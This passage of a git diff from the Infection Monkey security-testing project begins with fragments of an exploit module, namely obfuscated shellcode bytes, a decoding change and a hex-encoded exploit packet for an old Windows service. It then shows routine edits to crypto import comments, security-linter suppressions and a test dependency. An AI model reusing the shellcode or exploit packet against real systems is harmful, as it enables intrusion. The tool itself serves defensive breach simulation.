b'\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8' + b'\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J' + b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-') -SHELLCODE = clarify(OBFUSCATED_SHELLCODE) +SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 9bdedd310..cce7d464a 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -1,9 +1,10 @@ import base64 import os -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained -from Crypto import Random # noqa: DOU133 -from Crypto.Cipher import AES # noqa: DOU133 +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. +from Crypto import Random # noqa: DUO133 # nosec: B413 +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index f1e80161c..3cb3a4e42 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -18,6 +18,7 @@ pycryptodome==3.9.8 pytest>=5.4 python-dateutil>=2.1,<3.0.0 requests>=2.24 +requests-mock==1.8.0 ring>=0.7.3 stix2>=2.0.2 six>=1.13.0 diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py index 334875477..61212e734 100644 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -7,7 +7,9 @@ for more details. import argparse -from Crypto.Hash import SHA3_512 # noqa: DUO133 +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. +from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413 def main():